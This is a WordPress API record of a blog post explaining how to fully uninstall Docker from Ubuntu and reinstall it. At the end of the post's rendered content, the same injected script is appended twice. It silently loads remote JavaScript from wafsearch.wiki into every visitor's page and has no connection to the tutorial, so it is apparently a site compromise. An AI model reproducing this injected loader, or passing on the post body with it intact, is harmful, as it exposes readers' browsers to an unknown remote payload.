{"id":892,"date":"2023-04-17T03:05:40","date_gmt":"2023-04-17T03:05:40","guid":{"rendered":"https:\/\/mufy.net\/?p=892"},"modified":"2026-03-20T09:54:10","modified_gmt":"2026-03-20T09:54:10","slug":"completely-uninstall-and-reinstall-docker-in-ubuntu","status":"publish","type":"post","link":"https:\/\/mufy.net\/?p=892","title":{"rendered":"Completely uninstall and reinstall docker in ubuntu"},"content":{"rendered":"\n<p>The following actions are run with administrator privileges<\/p>\n\n\n\n<p>Uninstall docker<br>1. Remove docker and all packages automatically installed during installation<br><br><code>apt-get autoremove docker docker-ce docker-engine docker.io containerd runc<\/code><\/p>\n\n\n\n<p>2. Check if docker is uninstalled<br><br><code>dpkg -l | grep docker<\/code><\/p>\n\n\n\n<p><code>dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P <\/code><\/p>\n\n\n\n<p># Remove useless and relevant configuration files<\/p>\n\n\n\n<p>3. Remove the relevant plugins that are not removed<\/p>\n\n\n\n<p><code>apt-get autoremove docker-ce-*<\/code><\/p>\n\n\n\n<p>4. Remove docker-related configuration &amp; directories<br><br><code>rm -rf \/etc\/systemd\/system\/docker.service.d<\/code><\/p>\n\n\n\n<p><code>rm -rf \/var\/lib\/docker<\/code><\/p>\n\n\n\n<p>5. Make sure docker is uninstalled<br><br><code>docker --version<\/code><\/p>\n\n\n\n<p>Install docker<br>Just read the official website documentation, I believe it is clearer than I can explain:<br><a href=\"https:\/\/docs.docker.com\/engine\/install\/ubuntu\/#install-using-the-convenience-script\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/docs.docker.com\/engine\/install\/ubuntu\/#install-using-the-convenience-script<\/a><\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Uninstall docker completely and install it again in ubuntu<br \/>\nUninstall docker<br \/>\n1. Remove docker and all packages that were automatically installed during installation<br \/>\n2.Check if docker is uninstalled cleanly<br \/>\n3.Remove the plugins that are not removed<br \/>\n4.Delete docker&#8217;s related configuration &#038; directory<br \/>\n5. Make sure docker is uninstalled<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/mufy.net\/?p=892\">Continue reading<span class=\"screen-reader-text\">Completely uninstall and reinstall docker in ubuntu<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":958,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-892","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-web","entry"],"_links":{"self":[{"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/posts\/892","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mufy.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=892"}],"version-history":[{"count":3,"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/posts\/892\/revisions"}],"predecessor-version":[{"id":1218,"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/posts\/892\/revisions\/1218"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mufy.net\/index.php?rest_route=\/wp\/v2\/media\/958"}],"wp:attachment":[{"href":"https:\/\/mufy.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mufy.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=892"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mufy.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}